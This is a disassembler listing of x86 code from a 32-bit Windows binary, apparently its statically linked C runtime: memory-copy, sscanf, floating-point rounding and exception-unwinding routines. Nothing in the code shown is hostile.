; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBF0	proc near		; CODE XREF: sub_40B419+62p
					; sub_40B419+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41FC10
		cmp	edi, eax
		jb	loc_41FD88

loc_41FC10:				; CODE XREF: sub_41FBF0+16j
		test	edi, 3
		jnz	short loc_41FC2C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41FC4C
		rep movsd
		jmp	off_41FD38[edx*4]
; ---------------------------------------------------------------------------

loc_41FC2C:				; CODE XREF: sub_41FBF0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41FC44
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41FC4C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41FC44:				; CODE XREF: sub_41FBF0+46j
		jmp	dword ptr loc_41FD48[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41FC4C:				; CODE XREF: sub_41FBF0+31j
					; sub_41FBF0+8Ej ...
		jmp	off_41FCCC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41FC60
		dd offset loc_41FC8C
		dd offset loc_41FCB0
; ---------------------------------------------------------------------------

loc_41FC60:				; DATA XREF: sub_41FBF0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41FC4C
		rep movsd
		jmp	off_41FD38[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41FC8C:				; DATA XREF: sub_41FBF0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41FC4C
		rep movsd
		jmp	off_41FD38[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41FCB0:				; DATA XREF: sub_41FBF0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41FC4C
		rep movsd
		jmp	off_41FD38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41FCCC	dd offset loc_41FD2F	; DATA XREF: sub_41FBF0:loc_41FC4Cr
		dd offset loc_41FD1C
		dd offset loc_41FD14
		dd offset loc_41FD0C
		dd offset loc_41FD04
		dd offset loc_41FCFC
		dd offset loc_41FCF4
		dd offset loc_41FCEC
; ---------------------------------------------------------------------------

loc_41FCEC:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41FCF4:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41FCFC:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41FD04:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41FD0C:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41FD14:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41FD1C:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41FD2F:				; CODE XREF: sub_41FBF0:loc_41FC4Cj
					; DATA XREF: sub_41FBF0:off_41FCCCo
		jmp	off_41FD38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41FD38	dd offset loc_41FD48	; DATA XREF: sub_41FBF0+35r
					; sub_41FBF0+92r ...
		dd offset loc_41FD50
		dd offset loc_41FD5C
		dd offset loc_41FD70
; ---------------------------------------------------------------------------

loc_41FD48:				; CODE XREF: sub_41FBF0+35j
					; sub_41FBF0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41FD50:				; CODE XREF: sub_41FBF0+35j
					; sub_41FBF0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41FD5C:				; CODE XREF: sub_41FBF0+35j
					; sub_41FBF0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41FD70:				; CODE XREF: sub_41FBF0+35j
					; sub_41FBF0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41FD88:				; CODE XREF: sub_41FBF0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41FDBC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41FDB0
		std
		rep movsd
		cld
		jmp	off_41FED0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41FDB0:				; CODE XREF: sub_41FBF0+1B1j
					; sub_41FBF0+208j ...
		neg	ecx
		jmp	dword ptr loc_41FE7F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41FDBC:				; CODE XREF: sub_41FBF0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41FDD4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41FDD4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41FDD4:				; CODE XREF: sub_41FBF0+1D6j
					; DATA XREF: sub_41FBF0+1DDr
		jmp	off_41FED0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41FDE8
; ---------------------------------------------------------------------------
		or	dh, bh
		inc	ecx
		add	[eax], dh
		inc	byte ptr [ecx+0]

loc_41FDE8:				; DATA XREF: sub_41FBF0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41FDB0
		std
		rep movsd
		cld
		jmp	off_41FED0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41FDB0
		std
		rep movsd
		cld
		jmp	off_41FED0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41FDB0
		std
		rep movsd
		cld
		jmp	off_41FED0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		test	bh, dh
		inc	ecx
		add	[esi+edi*8-16BFFBFh], cl
		inc	ecx
		add	[esi+edi*8-15BFFBFh], bl
		inc	ecx
		add	[esi+edi*8-14BFFBFh], ch
		inc	ecx

loc_41FE7F:				; DATA XREF: sub_41FBF0+1C2r
		add	bh, al
		inc	byte ptr [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41FEC7:				; CODE XREF: sub_41FBF0+1C2j
		jmp	off_41FED0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41FED0	dd offset loc_41FEE0	; DATA XREF: sub_41FBF0+1B7r
					; sub_41FBF0:loc_41FDD4r ...
		dd offset loc_41FEE8
		dd offset loc_41FEF8
		dd offset loc_41FF0C
; ---------------------------------------------------------------------------

loc_41FEE0:				; CODE XREF: sub_41FBF0+1B7j
					; sub_41FBF0:loc_41FDD4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41FEE8:				; CODE XREF: sub_41FBF0+1B7j
					; sub_41FBF0:loc_41FDD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41FEF8:				; CODE XREF: sub_41FBF0+1B7j
					; sub_41FBF0:loc_41FDD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41FF0C:				; CODE XREF: sub_41FBF0+1B7j
					; sub_41FBF0:loc_41FDD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41FBF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF30	proc near		; CODE XREF: sub_40C575+40p
					; .packed:0040EBBAp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx

loc_41FF45:				; CODE XREF: sub_41FF30+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FF69
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	42h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FF69
		int	3		; Trap to Debugger

loc_41FF69:				; CODE XREF: sub_41FF30+19j
					; sub_41FF30+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FF45

loc_41FF6F:				; CODE XREF: sub_41FF30+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FF93
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	43h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FF93
		int	3		; Trap to Debugger

loc_41FF93:				; CODE XREF: sub_41FF30+43j
					; sub_41FF30+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FF6F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 49h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_429E90
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41FF30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41FFF0(double)

sub_41FFF0	proc near		; CODE XREF: sub_40D798+38p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_4518D0
		push	eax
		call	sub_42C2F0
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_4200AB
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_42C0F0
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_420082
		cmp	[ebp+var_10], 2
		jle	short loc_42004E
		cmp	[ebp+var_10], 3
		jz	short loc_420067
		jmp	short loc_420082
; ---------------------------------------------------------------------------

loc_42004E:				; CODE XREF: sub_41FFF0+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_420121
; ---------------------------------------------------------------------------

loc_420067:				; CODE XREF: sub_41FFF0+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Bh		; int
		call	sub_42B3B0
		add	esp, 10h
		jmp	loc_420121
; ---------------------------------------------------------------------------

loc_420082:				; CODE XREF: sub_41FFF0+4Ej
					; sub_41FFF0+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_43CD98
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Bh		; int
		push	8		; int
		call	sub_42B480
		add	esp, 1Ch
		jmp	short loc_420121
; ---------------------------------------------------------------------------

loc_4200AB:				; CODE XREF: sub_41FFF0+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_42B390
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_4200E1
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_420121
; ---------------------------------------------------------------------------

loc_4200E1:				; CODE XREF: sub_41FFF0+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_420101
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_420121
; ---------------------------------------------------------------------------

loc_420101:				; CODE XREF: sub_41FFF0+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Bh		; int
		push	10h		; int
		call	sub_42B480
		add	esp, 1Ch

loc_420121:				; CODE XREF: sub_41FFF0+72j
					; sub_41FFF0+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420130	proc near		; CODE XREF: sub_41E860+Cp
					; DATA XREF: .packed:off_4518DCo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_420170
		call	sub_42C430
		mov	dword_4F3400, eax
		call	sub_42C3B0
		fnclex
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420160	proc near		; DATA XREF: .packed:004518E0o
					; .packed:004518E4o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_420160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420170	proc near		; CODE XREF: sub_420130+6p
		push	ebp
		mov	ebp, esp
		mov	off_454250, offset sub_42CB20
		mov	off_454254, offset sub_42C530
		mov	off_454258, offset sub_42C640
		mov	off_45425C, offset sub_42C480
		mov	off_454260, offset sub_42C610
		mov	off_454264, offset sub_42CB20
		pop	ebp
		retn
sub_420170	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F33FC
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F33FC, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201DC	proc near		; CODE XREF: sub_40D798+1Bp
					; sub_40D798+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4201DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_420210(double)

sub_420210	proc near		; CODE XREF: sub_40D7E4+79p
					; sub_40E29B+398p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_4518E8
		push	eax
		call	sub_42C2F0
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_4202CB
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_42C0F0
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_4202A2
		cmp	[ebp+var_10], 2
		jle	short loc_42026E
		cmp	[ebp+var_10], 3
		jz	short loc_420287
		jmp	short loc_4202A2
; ---------------------------------------------------------------------------

loc_42026E:				; CODE XREF: sub_420210+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_420341
; ---------------------------------------------------------------------------

loc_420287:				; CODE XREF: sub_420210+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Ch		; int
		call	sub_42B3B0
		add	esp, 10h
		jmp	loc_420341
; ---------------------------------------------------------------------------

loc_4202A2:				; CODE XREF: sub_420210+4Ej
					; sub_420210+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_43CD98
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Ch		; int
		push	8		; int
		call	sub_42B480
		add	esp, 1Ch
		jmp	short loc_420341
; ---------------------------------------------------------------------------

loc_4202CB:				; CODE XREF: sub_420210+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_42B390
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_420301
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_420341
; ---------------------------------------------------------------------------

loc_420301:				; CODE XREF: sub_420210+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_420321
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_42C2F0
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_420341
; ---------------------------------------------------------------------------

loc_420321:				; CODE XREF: sub_420210+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Ch		; int
		push	10h		; int
		call	sub_42B480
		add	esp, 1Ch

loc_420341:				; CODE XREF: sub_420210+72j
					; sub_420210+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_420210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420350	proc near		; CODE XREF: sub_42D250+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_420350	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420390	proc near		; CODE XREF: sub_42D730+50p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_420390	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4203A0	proc near		; CODE XREF: sub_42D4B0+247p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4203A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4203B0	proc near		; CODE XREF: sub_42D4B0+21Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4203B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203C0	proc near		; CODE XREF: sub_420610+66p
					; sub_42D250+38p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4203EC
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_43ABA6	; RtlUnwind

loc_4203EC:				; DATA XREF: sub_4203C0+12o
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4203C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420420	proc near		; CODE XREF: .packed:0043B834j
					; .packed:0043B84Ej ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42CBB0
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_420420	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		push	0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_42D120
		add	esp, 10h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420490	proc near		; CODE XREF: sub_42D310+8Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_420500
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_42D810
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420500	proc near		; DATA XREF: sub_420490+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42CBB0
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


